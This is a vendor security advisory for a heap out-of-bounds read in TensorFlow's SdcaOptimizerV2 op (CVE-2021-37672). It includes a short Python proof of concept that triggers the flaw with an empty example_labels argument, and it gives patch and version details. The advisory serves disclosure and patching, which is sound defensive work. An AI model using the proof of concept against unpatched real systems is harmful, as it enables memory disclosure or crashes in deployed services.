GHSA-5hj3-vjjf-f5m7

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GHSA-5hj3-vjjf-f5m7

Summary: Heap OOB in `SdcaOptimizerV2`

Details: ### Impact An attacker can read from outside of bounds of heap allocated data by sending specially crafted illegal arguments to `tf.raw_ops.SdcaOptimizerV2`: ```python import tensorflow as tf tf.raw_ops.SdcaOptimizerV2( sparse_example_indices=[[1]], sparse_feature_indices=[[1]], sparse_feature_values=[[1.0,2.0]], dense_features=[[1.0]], example_weights=[1.0], example_labels=[], sparse_indices=[1], sparse_weights=[1.0], dense_weights=[[1.0]], example_state_data=[[100.0,100.0,100.0,100.0]], loss_type='logistic_loss', l1=100.0, l2=100.0, num_loss_partitions=1, num_inner_iterations=1, adaptive=True) ``` The [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/sdca_internal.cc#L320-L353) does not check that the length of `example_labels` is the same as the number of examples. ### Patches We have patched the issue in GitHub commit [a4e138660270e7599793fa438cd7b2fc2ce215a6](https://github.com/tensorflow/tensorflow/commit/a4e138660270e7599793fa438cd7b2fc2ce215a6). The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

References: https://github.com/tensorflow/tensorflow/security/advisories/GHSA-5hj3-vjjf-f5m7, https://nvd.nist.gov/vuln/detail/CVE-2021-37672, https://github.com/tensorflow/tensorflow/commit/a4e138660270e7599793fa438cd7b2fc2ce215a6, https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-585.yaml, https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-783.yaml, https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-294.yaml, https://github.com/tensorflow/tensorflow